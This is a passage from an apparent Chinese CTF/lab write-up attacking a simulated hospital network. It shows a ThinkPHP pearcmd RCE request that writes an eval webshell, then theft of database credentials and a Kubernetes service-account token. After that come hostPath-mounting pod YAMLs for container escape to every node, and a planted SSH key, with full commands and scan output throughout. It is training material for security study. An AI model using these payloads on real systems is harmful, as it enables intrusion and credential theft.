proxychains4 -q ssh root@172.22.18.29<\/code><\/pre>\n\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\u901a\u8fc7docker api\u521b\u5efa\u5bb9\u5668\u9003\u9038\u540e\uff0c\u8fdessh\u5c31\u662fminio\u6240\u5728\u7684\u90a3\u53f0\u4e3b\u673a<\/p>\n
![\"cloudnet_12\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_12.png\")
<\/p>\n
\u4f20\u4e2afscan\u9a8c\u8bc1\u4e00\u4e0b\uff0c\u786e\u5b9e2375\u7aef\u53e3\u5b58\u5728docker api\u672a\u6388\u6743<\/p>\n
proxychains4 -q scp -i \/root\/.ssh\/id_rsa fscan root@172.22.18.29:\/tmp\/ <\/code><\/pre>\n![\"cloudnet_13\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_13.png\")
<\/p>\n
![\"cloudnet_14\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_14.png\")
<\/p>\n
flag4 & flag5 & flag6<\/h3>\n\u6781\u81f4cms(ThinkPHP)\u591a\u8bed\u8a00\u6a21\u5757\u6587\u4ef6\u5305\u542bRCE<\/h4>\n
\u901a\u8fc7http:\/\/172.22.18.61<\/code>\u8bbf\u95ee\u4e0d\u5b58\u5728\u8def\u5f84\u53ef\u4ee5\u5f97\u77e5\u662f\u6781\u81f4cms\uff0c\u7528\u7684thinkphp\u6846\u67b6<\/p>\n\u4f46\u662f\u4e0d\u592a\u6e05\u695a\u4e3a\u4ec0\u4e48\u77e5\u9053\u662f\u7528\u7684\u591a\u8bed\u8a00RCE\u8fd9\u4e2a\u6d1e\uff0c\u6309\u7406\u8bf4\u5bf9\u8fd9\u4e2a\u6d1e\u8fdb\u884c\u63a2\u6d4b\u7684\u8bdd\uff0c\u662f\u770b\u8bf7\u6c42\u5305\u7684cookie\u6709\u65e0\u7c7b\u4f3cthink_lang=zh_cn<\/code>\u5b57\u6bb5\u6765\u5224\u65adtp\u662f\u5426\u6709\u5f00\u542f\u591a\u8bed\u8a00\u529f\u80fd\uff0c\u7c7b\u4f3c<\/p>\n![\"cloudnet_15\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_15.png\")
<\/p>\n
\u5728172.22.18.61<\/code>\u6293\u5305\u5e76\u6ca1\u6709\u5728\u8bf7\u6c42\u5934\u770b\u5230think_lang<\/code>\u5b57\u6bb5\uff0c\u5e76\u4e14\u8fd8fuzz\u51fa\u4f20\u9012\u7684lang<\/code>\u53c2\u6570\u53d8\u6210\u4e86l<\/code>\uff0c\u53ea\u80fd\u8bf4\u5927\u5934\u5e08\u5085tql<\/p>\nGET \/index.php?l=..\/..\/..\/..\/..\/..\/..\/..\/usr\/local\/lib\/php\/pearcmd&+config-create+\/<?=eval($_POST[1]);?>+\/var\/www\/html\/sim.php HTTP\/1.1\nHost: 172.22.18.61\nUser-Agent: Mozilla\/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/115.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\n<\/code><\/pre>\n![\"cloudnet_16\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_16.png\")
<\/p>\n
![\"cloudnet_17\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_17.png\")
<\/p>\n
\u8681\u5251\u8fde\u63a5\u540e\u914d\u7f6e\u6587\u4ef6\u770b\u5230mysql\u8d26\u5bc6<\/p>\n
![\"cloudnet_18\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_18.png\")
<\/p>\n
'db' => \narray (\n'host' => 'mysql',\n'dbname' => 'jizhicms',\n'username' => 'root',\n'password' => 'Mysqlroot@!123',\n'prefix' => 'jz_',\n'port' => '3306',\n)<\/code><\/pre>\n\u7528\u8681\u5251\u81ea\u5e26\u6570\u636e\u5e93\u8fde\u63a5<\/p>\n
![\"cloudnet_19\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_19.png\")
<\/p>\n
\u4e0d\u8fc7\u8fd9\u91cc\u5927\u5934\u5e08\u5085\u8bf4\u7684\u6709\u4e9b\u95ee\u9898\uff0cselect user();<\/code>\u663e\u793a\u7684ip\u5e76\u4e0d\u662fmysql\u670d\u52a1\u5668\u6240\u5728\u7684ip\uff0c\u800c\u662f\u5f53\u524d\u8fde\u63a5\u7684\u5ba2\u6237\u7aefIP\uff0c\u73b0\u5728\u662f\u901a\u8fc7web\u670d\u52a1\u5668\u53bb\u8fde\u63a5mysql\uff0c\u6240\u4ee5\u663e\u793a\u7684ip\u5e94\u8be5\u662f\u6781\u81f4cms\u90a3\u53f0\u7684ip<\/p>\n![\"cloudnet_20\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_20.png\")
<\/p>\n
\u67e5\u770bmysql\u6570\u636e\u5e93\u4e3b\u673a\u540d<\/p>\n
SHOW VARIABLES LIKE 'hostname';\n\/\/mysql-6df876d6dc-f6qfg<\/code><\/pre>\n\u63a5\u7740\u56de\u53bbwebshell\u770b\u4e00\u4e0b\u4e3b\u673a\u4fe1\u606f\uff0c\u53d1\u73b0\u662f\u5728Kubernetes\u4e2d\uff0c\u7ed3\u5408hostname\uff0c\u8be5\u673a\u5668\u5e94\u8be5\u662f\u67d0\u4e2anode\u7528\u6765\u8fd0\u884cweb\u670d\u52a1\u7684container\uff08\u8fd9\u91cc\u770b\u5230172.20.166.134<\/code>\u5bf9\u5e94\u7684\u4e3b\u673a\u540d\u662fweb-app-d57c8d67-rm2nk<\/code>\uff0c\u4e5f\u5370\u8bc1\u4e86\u524d\u9762ip\u662fweb\u670d\u52a1\u5668\u800c\u975emysql\u670d\u52a1\u5668\u7684ip\uff09<\/p>\n(www-data:\/var\/www\/html) $ cat \/etc\/hosts\n# Kubernetes-managed hosts file.\n127.0.0.1 localhost\n::1 localhost ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nfe00::0 ip6-mcastprefix\nfe00::1 ip6-allnodes\nfe00::2 ip6-allrouters\n172.20.166.134 web-app-d57c8d67-rm2nk<\/code><\/pre>\n\u9ed8\u8ba4\u8def\u5f84\u83b7\u53d6 Kubernetes \u7684sa token<\/h4>\n
\u7528\u9ed8\u8ba4\u6302\u8f7d\u8def\u5f84\u8bfb\u4e00\u4e0btoken\uff0c\u5728mysql\u7528load_file<\/code>\u51fd\u6570\u8bfb\u53d6\u6587\u4ef6\uff0c\u62ff\u5230\u4e00\u4e2asa token<\/p>\nselect load_file("\/var\/run\/secrets\/kubernetes.io\/serviceaccount\/token");<\/code><\/pre>\n![\"cloudnet_21\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_21.png\")
<\/p>\n
eyJhbGciOiJSUzI1NiIsImtp.....<\/code><\/pre>\n\u62ff\u6781\u81f4\u90a3\u53f0web\u670d\u52a1\u5668\u5728\u540c\u6837\u4f4d\u7f6e\u8bfb\u53d6token\uff0c\u53d1\u73b0\u4e0d\u4e00\u6837\uff0c\u8bf4\u660e\u786e\u5b9e\u662f\u7ad9\u5e93\u5206\u79bb\u7684<\/p>\n
\u540e\u7eed\u6253 Kubernetes \u5c31\u6709\u597d\u51e0\u79cd\u6253\u6cd5\u4e86<\/p>\n
Kubernetes \u6253\u6cd5\u4e00<\/h4>\nkubectl \u5bb9\u5668\u6302\u8f7d\u9003\u9038<\/h5>\n
\u4e0a\u4f20cdk<\/p>\n
![\"cloudnet_22\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_22.png\")
<\/p>\n
https:\/\/10.68.0.1<\/code>\u6307\u5411\u7684\u5c31\u662f Kubernetes API Server\uff0c10.68.0.1<\/code>\u4e5f\u662fmaster\u8282\u70b9\u7684\u5185\u90e8 Cluster IP<\/p>\n\u76ee\u524d\u53ea\u6709\u6781\u81f4cms\u8fd9\u53f0\u673a\u5728 Kubernetes \u4e2d\uff0c\u4f46\u662f\u5982\u679c\u6839\u636e\u524d\u9762\u731c\u6d4b\u8fd9\u53f0\u53ea\u662fContainer\u7684\u8bdd\uff0c\u90a3\u4e48\u5e94\u8be5\u53ea\u662f\u628aweb\u670d\u52a1\u6620\u5c04\u5230\u4e86\u5bbf\u4e3b\u673a\u768480\u7aef\u53e3\uff0c\u56e0\u6b64\u642d\u6b63\u5411\u4ee3\u7406\u662f\u884c\u4e0d\u901a\u7684\uff08\u8bd5\u4e86Stowaway\u642d\u53cd\u5411\u4ee3\u7406\u597d\u50cf\u4e5f\u4e0d\u901a\uff09<\/p>\n
\u56e0\u4e3a\u673a\u5b50\u6709web\u670d\u52a1\uff0c\u6240\u4ee5\u53ef\u4ee5\u50cf\u5927\u5934\u5e08\u5085\u90a3\u6837\u7528Neo-reGeorg<\/code>\u642d\u53cd\u5411\u4ee3\u7406\uff0c\u5c06tunnel.php<\/code>\u4e0a\u4f20\u4e4b\u540e\u914d\u5408proxifier\u5f88\u65b9\u4fbf<\/p>\n\u4e4b\u540e\u521b\u5efakubeconfig<\/p>\n
k8s.yaml<\/p>\n
apiVersion: v1\nkind: Config\nclusters:\n - name: my-cluster\n cluster:\n server: https:\/\/10.68.0.1\/\n # certificate-authority: \/path\/to\/ca.crt # \u66ff\u6362\u4e3a\u4f60\u7684 CA \u8bc1\u4e66\u8def\u5f84\u3002\u5982\u679c\u65e0\u9700 CA \u9a8c\u8bc1\uff0c\u53ef\u5220\u9664\u6b64\u884c\n insecure-skip-tls-verify: true # \u5982\u679c\u4f60\u60f3\u8df3\u8fc7\u8bc1\u4e66\u9a8c\u8bc1\uff0c\u8bf7\u53d6\u6d88\u6b64\u884c\u6ce8\u91ca\uff08\u5df2\u4fee\u6b63\u7f29\u8fdb\u548c\u7a7a\u683c\uff09\nusers:\n - name: my-user\n user:\n token: eyJhbGciOiJS...h8g4JQ\ncontexts:\n - name: my-context\n context:\n cluster: my-cluster\n user: my-user\ncurrent-context: my-context<\/code><\/pre>\n\u67e5\u8be2\u96c6\u7fa4\u8282\u70b9\u4fe1\u606f<\/p>\n
kubectl --kubeconfig k8s.yaml get nodes<\/code><\/pre>\n\u663e\u793a\u5173\u4e8e"master"\u8282\u70b9\u7684\u8be6\u7ec6\u4fe1\u606f<\/p>\n
kubectl --kubeconfig k8s.yaml describe node master<\/code><\/pre>\n\u7528uncordon\u5c06master\u8282\u70b9\u6807\u8bb0\u4e3a\u53ef\u8c03\u5ea6\u72b6\u6001<\/p>\n
kubectl --kubeconfig k8s.yaml uncordon master<\/code><\/pre>\n![\"cloudnet_23\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_23.png\")
<\/p>\n
\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u76f4\u63a5\u7528 kubectl \u76f4\u63a5\u6307\u5b9a token \u6267\u884c\u547d\u4ee4<\/p>\n
kubectl -s https:\/\/10.68.0.1\/ --insecure-skip-tls-verify=true --token=eyJhbGciOiJS.... describe nodes<\/code><\/pre>\n![\"cloudnet_24\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_24.png\")
<\/p>\n
\u7ee7\u7eed\u7f16\u5199yaml\u6587\u4ef6\uff0c\u901a\u8fc7172.22.18.64\/public\/mysql:5.6<\/code>\u955c\u50cf\u62c9\u53d6\u5bb9\u5668\uff0c\u5e76\u5c06node1\u8282\u70b9\u7684\u6839\u76ee\u5f55\u6302\u8f7d\u5230\u5bb9\u5668\u7684\/simho<\/code>\u76ee\u5f55\u4e0b\uff0c\u6dfb\u52a0node.kubernetes.io\/unschedulable:NoSchedule<\/code>\u5bb9\u5fcd\u6c61\u70b9\u6709\u5907\u65e0\u60a3<\/p>\npod1.yaml<\/p>\n
apiVersion: v1\nkind: Pod\nmetadata:\n name: evilpod1\nspec:\n nodeName: node1 # node2 master\n tolerations:\n - key: node.kubernetes.io\/unschedulable\n operator: Exists\n effect: NoSchedule\n containers:\n - name: mycontainer\n image: 172.22.18.64\/public\/mysql:5.6\n command: ["\/bin\/sleep", "3650d"]\n volumeMounts:\n - name: test\n mountPath: \/simho\n volumes:\n - name: test\n hostPath:\n path: \/\n type: Directory<\/code><\/pre>\n\u5e94\u7528yaml\u6587\u4ef6\uff0c\u521b\u5efa\u5bb9\u5668\u540e\u8ddfdocker\u4e00\u6837\u76f4\u63a5bash\u6267\u884c\u547d\u4ee4<\/p>\n
kubectl --kubeconfig k8s.yaml apply -f pod1.yaml \nkubectl --kubeconfig k8s.yaml exec -it evilpod1 -- \/bin\/bash<\/code><\/pre>\nnode2\u8ddfmaster\u8282\u70b9\u5982\u6cd5\u70ae\u5236\uff08\u8fd9\u91ccmaster\u8282\u70b9\u4e3a\u4ec0\u4e48\u4e5f\u53ef\u4ee5\u901a\u8fc7mysql\u8fd9\u4e2a\u955c\u50cf\u9003\u9038\u540e\u7eed\u4f1a\u8bf4\u660e\uff09<\/p>\n
\u62ff\u5230\u7b2c\u56db\u3001\u7b2c\u4e94\u548c\u7b2c\u516d\u4e2aflag<\/p>\n
![\"cloudnet_25\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_25.png\")
<\/p>\n
![\"cloudnet_26\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_26.png\")
<\/p>\n
Kubernetes \u6253\u6cd5\u4e8c<\/h4>\nKubernetes Dashboard \u5bb9\u5668\u6302\u8f7d\u9003\u9038<\/h5>\n
\u6781\u81f4\u90a3\u53f0\u673a\u4f20fscan\uff0c\u626b\u4e00\u4e0b\u5168\u7aef\u53e3<\/p>\n
start infoscan\n172.22.18.61:22 open\n172.22.18.61:80 open\n172.22.18.61:111 open\n172.22.18.61:179 open\n172.22.18.61:9253 open\n172.22.18.61:9353 open\n172.22.18.61:10248 open\n172.22.18.61:10256 open\n172.22.18.61:10250 open\n172.22.18.61:10249 open\n172.22.18.61:30020 open\n172.22.18.61:32686 open\n[*] alive ports len is: 12\nstart vulscan\n[*] WebTitle http:\/\/172.22.18.61:9353 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.18.61:9253 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.18.61:10249 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.18.61:10256 code:404 len:19 title:None\n[*] WebTitle https:\/\/172.22.18.61:32686 code:200 len:1422 title:Kubernetes Dashboard\n[+] InfoScan https:\/\/172.22.18.61:32686 [Kubernetes] \n[*] WebTitle http:\/\/172.22.18.61:10248 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.18.61 code:200 len:8710 title:\u533b\u9662\u5185\u90e8\u5e73\u53f0\n[*] WebTitle https:\/\/172.22.18.61:10250 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.18.61:30020 code:200 len:8710 title:\u533b\u9662\u5185\u90e8\u5e73\u53f0<\/code><\/pre>\n\u626b\u5230 Kubernetes Dashboard \u7aef\u53e3\u4e3a32686\uff08Dashboard \u9ed8\u8ba4\u7aef\u53e3\u4e3a 30000-32767<\/code> \u8303\u56f4\u5185\u7684\u968f\u673a\u7aef\u53e3\uff09<\/p>\n\u7528mysql\u670d\u52a1\u5668\u6216\u8005\u6781\u81f4cms\u670d\u52a1\u5668\u8bfb\u53d6\u7684token\u90fd\u53ef\u4ee5\u767b\u5f55\uff0c\u4f46\u662f\u7528\u6781\u81f4\u90a3\u53f0token\u8fdb\u53bb\u4e4b\u540e\u6743\u9650\u5f88\u5c0f\uff0c\u57fa\u672c\u4ec0\u4e48\u90fd\u770b\u4e0d\u5230\uff0cmysql\u670d\u52a1\u5668\u8bfb\u7684token\u6743\u9650\u5c31\u5f88\u9ad8<\/p>\n
\u8fd9\u91cc\u770b\u5230node1\u8282\u70b9\u8ddfnode2\u8282\u70b9\u5206\u522b\u6709\u4e2apod\uff0c\u4e00\u53f0web\u670d\u52a1\u5668\uff0c\u4e00\u53f0mysql\u670d\u52a1\u5668\uff0c\u5b83\u4eec\u7684 hostname \u6b63\u597d\u5c31\u662f\u524d\u9762\u90a3\u4e24\u53f0<\/p>\n
![\"cloudnet_27\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_27.png\")
<\/p>\n
\u8ddf\u524d\u9762\u6253\u6cd5\u4e00\u6837\uff0c\u7f16\u5199yaml\uff0c\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\u6302\u8f7d\u9003\u9038\uff08node1\u8282\u70b9\u7684\u955c\u50cf\u7528 jizhicms \u6216\u8005 mysql\u90fd\u53ef\u4ee5\uff09<\/p>\n
apiVersion: v1\nkind: Pod\nmetadata:\n name: simho\nspec:\n containers:\n - image: 172.22.18.64\/hospital\/jizhicms:2.5.0\n name: test-container\n volumeMounts:\n - mountPath: \/simho\n name: test-volume\n volumes:\n - name: test-volume\n hostPath:\n path: \/<\/code><\/pre>\n![\"cloudnet_28\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_28.png\")
<\/p>\n
\u53ef\u4ee5\u5728 Dashboard \u76f4\u63a5\u7ba1\u7406shell\uff0c\u9003\u9038\u5230node1\u8282\u70b9\u7684\u5bbf\u4e3b\u673a\u540e\u5728\u6839\u76ee\u5f55\u770b\u5230\u7b2c\u56db\u4e2aflag<\/p>\n
![\"cloudnet_29\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_29.png\")
<\/p>\n
\u5982\u6cd5\u70ae\u5236\uff0c\u7ee7\u7eed\u5199yaml\uff0c\u9003\u9038node2\u8ddfmaster\u8282\u70b9\uff0c\u76f4\u63a5\u901a\u8fc7Dashboard\u81ea\u5e26shell\u67e5\u770bflag\u5373\u53ef<\/p>\n
![\"cloudnet_30\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_30.png\")
<\/p>\n
\u6ce8\u610f\uff1a\u8fd9\u91ccnode2\u8ddfmaster\u8282\u70b9\u5982\u679c\u955c\u50cf\u7ee7\u7eed\u76f4\u63a5\u7528172.22.18.64\/hospital\/jizhicms:2.5.0<\/code>\u4f1a\u521b\u5efa\u5bb9\u5668\u5931\u8d25\uff0c\u5f97\u5230\u5982\u4e0b\u62a5\u9519\uff0c\u56e0\u4e3a\u8be5\u955c\u50cf\u662f\u79c1\u6709\u955c\u50cf\uff0c\u65e0\u6cd5\u76f4\u63a5\u62c9\u53d6<\/p>\nFailed to pull image "172.22.18.64\/hospital\/jizhicms:2.5.0": failed to pull and unpack image "172.22.18.64\/hospital\/jizhicms:2.5.0": failed to resolve reference "172.22.18.64\/hospital\/jizhicms:2.5.0": pull access denied, repository does not exist or may require authorization: authorization failed: no basic auth credentials<\/code><\/pre>\n\u67e5\u770b\u539f\u672cnode1\u8282\u70b9\u4e2d\u7684pod\uff0c\u53ef\u4ee5\u770b\u5230 Kubernetes \u7684 Secrets \u8d44\u6e90\u6709\u4e00\u4e2aharbor-registry-secret<\/code>\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0imagePullSecrets<\/code>\u6765\u8fdb\u884c\u5bf9\u79c1\u6709\u955c\u50cf\u4ed3\u5e93\u8ba4\u8bc1\uff0c\u4ece\u800c\u62c9\u53d6 jizhicms:2.5.0\u955c\u50cf<\/p>\n![\"cloudnet_31\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_31.png\")
<\/p>\n
\u4fee\u6539\u540e\u7684yaml\uff0c\u5bf9node2\u8ddfmaster\u8282\u70b9\u8fdb\u884c\u5bb9\u5668\u6302\u8f7d\u9003\u9038<\/p>\n
apiVersion: v1\nkind: Pod\nmetadata:\n name: simho6\nspec:\n nodeName: master # node2\n imagePullSecrets:\n - name: harbor-registry-secret\n tolerations:\n - key: node.kubernetes.io\/unschedulable\n operator: Exists\n effect: NoSchedule\n containers:\n - name: mycontainer\n image: 172.22.18.64\/hospital\/jizhicms:2.5.0\n command: ["\/bin\/sleep", "3650d"]\n volumeMounts:\n - name: test\n mountPath: \/adminsim\n volumes:\n - name: test\n hostPath:\n path: \/\n type: Directory<\/code><\/pre>\n![\"cloudnet_32\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_32.png\")
<\/p>\n
\u90a3\u4e3a\u4ec0\u4e48\u62c9mysql:5.6\u955c\u50cf\u5c31\u53ef\u4ee5\u76f4\u63a5\u6302\u8f7dnode2\u8ddfmaster\u8282\u70b9\u5462\uff0c\u53ef\u4ee5\u770b\u4e00\u4e0b\u539f\u672cnode2\u8282\u70b9\u4e2d\u7684pod\u5c31\u662f\u7531mysql:5.6\u62c9\u53d6\u7684\uff0c\u5176SA\u4e3amysql<\/p>\n
![\"cloudnet_33\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_33.png\")
<\/p>\n
\u7ee7\u7eed\u67e5\u770b\u8be5mysql\u8d26\u6237\uff0c\u5c5e\u4e8eadmin\u89d2\u8272\uff0c\u70b9\u8fdb\u53bb\u53d1\u73b0\u662f\u6709\u4f17\u591a\u6743\u9650\u7684\uff0c\u8fd9\u4e5f\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u901a\u8fc7mysql\u90a3\u53f0\u670d\u52a1\u5668\u8bfb\u53d6\u7684 token \u6709\u9ad8\u6743\u9650\u7684\u539f\u56e0\uff0c\u5e76\u4e14node2\u8ddfmaster\u8282\u70b9\u90fd\u80fd\u901a\u8fc7mysql:5.6\u955c\u50cf\u53bb\u8fdb\u884c\u6302\u8f7d\u9003\u9038<\/p>\n
![\"cloudnet_34\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_34.png\")
<\/p>\n
flag7<\/h3>\n
\u4efb\u9009\u4e00\u4e2a\u4ece\u5bb9\u5668\u9003\u9038\u51fa\u6765\u7684node\u5bbf\u4e3b\u673a\uff0c\u67e5\u770b\/etc\/hosts<\/code>\u80fd\u591f\u83b7\u53d6\u4e09\u4e2a\u8282\u70b9\u5bf9\u5e94\u7684node ip<\/p>\n![\"cloudnet_35\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_35.png\")
<\/p>\n
\u8fd9\u91cc\u67e5\u770bnode1\u5bbf\u4e3b\u673a\u4e5f\u6709web\u670d\u52a1\uff0c\u5e76\u4e14\u4e5f\u662f\u6781\u81f4cms\uff0c\u5f53\u65f6\u4ee5\u4e3a172.22.18.61<\/code>\u90a3\u53f0\u768480\u7aef\u53e3\u5bf9\u5e94\u7684\u76f4\u63a5\u662fnode1\u5bbf\u4e3b\u673a<\/p>\n![\"cloudnet_35\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_36.png\")
<\/p>\n
\u4f46\u662fweb\u76ee\u5f55\u6ca1\u6709\u5f53\u65f6\u5199\u9a6c\u7684\u6587\u4ef6\uff0c\u5e76\u4e14\u5728Dashboard\u53ef\u4ee5\u770b\u5230\u6781\u81f4cms\u90a3\u53f0web\u5bb9\u5668\u7684yaml\u914d\u7f6e\u6587\u4ef6\uff0c\u662f\u5c0680\u7aef\u53e3\u6620\u5c04\u51fa\u6765\u7684<\/p>\n
![\"cloudnet_37\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_37.png\")
<\/p>\n
\u56e0\u6b64\u4e0e\u4e00\u5f00\u59cb\u7684\u731c\u6d4b\u4e00\u6837\uff0c172.22.18.61<\/code>\u867d\u7136\u5bf9\u5e94\u7684\u662fnode1\u8282\u70b9\u7684\u5bbf\u4e3b\u673aip\uff0c\u4f46\u662f\u517680\u7aef\u53e3\u5bf9\u5e94\u7684\u662fpod\u91cccontainer\u7684web\u670d\u52a1<\/p>\n\u641e\u6e05\u695a\u4e4b\u540e\uff0c\u5728\u5bbf\u4e3b\u673a\u5199\u4e2a\u516c\u94a5<\/p>\n
echo -e "\\n\\nssh-rsa AAAAB3N...waQ== root@kali\\n\\n" >> \/simho\/root\/.ssh\/authorized_keys\n\nproxychains4 -q ssh root@172.22.18.61<\/code><\/pre>\n![\"image-20250522130158793\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_38.png\")
<\/p>\n
\u67e5\u770b\u7f51\u5361\uff0c\u4e00\u4e2a\u662fnode ip\uff0c\u4e00\u4e2a\u662f\u5916\u7f51ip\uff08\u8fd9\u91cc\u7684\u5916\u7f51\u6307\u7684\u662f\u76f8\u5bf9\u4e8ekubernetes\u73af\u5883\u7684\u5916\u7f51\uff09<\/p>\n
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 172.22.15.45 netmask 255.255.0.0 broadcast 172.22.255.255\n inet6 fe80::216:3eff:fe37:f660 prefixlen 64 scopeid 0x20<link>\n ether 00:16:3e:37:f6:60 txqueuelen 1000 (Ethernet)\n RX packets 65883 bytes 29270537 (27.9 MiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 173965 bytes 40294589 (38.4 MiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\neth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 172.22.18.61 netmask 255.255.0.0 broadcast 172.22.255.255\n inet6 fe80::216:3eff:fe37:f614 prefixlen 64 scopeid 0x20<link>\n ether 00:16:3e:37:f6:14 txqueuelen 1000 (Ethernet)\n RX packets 286612 bytes 279041525 (266.1 MiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 7634 bytes 1230043 (1.1 MiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0<\/code><\/pre>\n\u8fd9\u91cc\u540c\u6837\u901a\u8fc7scp\u4f20\u4e2afscan\u626b\u4e00\u4e0b172.22.15.75<\/code><\/p>\nstart infoscan\n172.22.15.75:179 open\n172.22.15.75:22 open\n172.22.15.75:111 open\n172.22.15.75:2380 open\n172.22.15.75:2379 open\n172.22.15.75:5000 open\n172.22.15.75:6443 open\n172.22.15.75:9253 open\n172.22.15.75:9353 open\n172.22.15.75:10259 open\n172.22.15.75:10249 open\n172.22.15.75:10257 open\n172.22.15.75:10250 open\n172.22.15.75:10256 open\n172.22.15.75:10248 open\n172.22.15.75:30020 open\n172.22.15.75:32686 open\n[*] alive ports len is: 17\nstart vulscan\n[*] WebTitle http:\/\/172.22.15.75:9253 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.15.75:9353 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.15.75:5000 code:200 len:0 title:None\n[*] WebTitle http:\/\/172.22.15.75:10248 code:404 len:19 title:None\n[*] WebTitle https:\/\/172.22.15.75:32686 code:200 len:1422 title:Kubernetes Dashboard\n[*] WebTitle http:\/\/172.22.15.75:10249 code:404 len:19 title:None\n[*] WebTitle http:\/\/172.22.15.75:10256 code:404 len:19 title:None\n[*] WebTitle https:\/\/172.22.15.75:10250 code:404 len:19 title:None\n[*] WebTitle https:\/\/172.22.15.75:6443 code:401 len:157 title:None\n[*] WebTitle https:\/\/172.22.15.75:10257 code:403 len:217 title:None\n[+] InfoScan https:\/\/172.22.15.75:32686 [Kubernetes] \n[*] WebTitle https:\/\/172.22.15.75:10259 code:403 len:217 title:None<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u5f00\u653e\u4e866443\u7aef\u53e3\uff0chttps:\/\/172.22.15.75:6443<\/code>\u8ddf\u524d\u9762\u63d0\u5230\u7684https:\/\/10.68.0.1<\/code>\u90fd\u6307\u5411\u7684\u662f Kubernetes API Server\uff0c\u53ea\u662f\u4e00\u4e2a\u662fnode ip\uff0c\u4e00\u4e2a\u662f Cluster ip\uff0c\u9a8c\u8bc1\u4e00\u4e0b\uff0c\u540c\u6837\u53ef\u4ee5\u76f4\u63a5\u7528 kubectl \u76f4\u63a5\u6307\u5b9a token \u6267\u884c\u547d\u4ee4<\/p>\nkubectl -s https:\/\/172.22.15.75:6443\/ --insecure-skip-tls-verify=true --token=eyJhbGci... describe nodes<\/code><\/pre>\n![\"cloudnet_39\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_39.png\")
<\/p>\n
\u8fd9\u91cc\u5217\u51fa\u96c6\u7fa4\u6240\u6709\u8d44\u6e90\u7c7b\u578b\uff0c\u53ef\u4ee5\u770b\u5230\u6709secrets\u8d44\u6e90<\/p>\n
kubectl --kubeconfig k8s.yaml api-resources<\/code><\/pre>\n![\"cloudnet_40\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_40.png\")
<\/p>\n
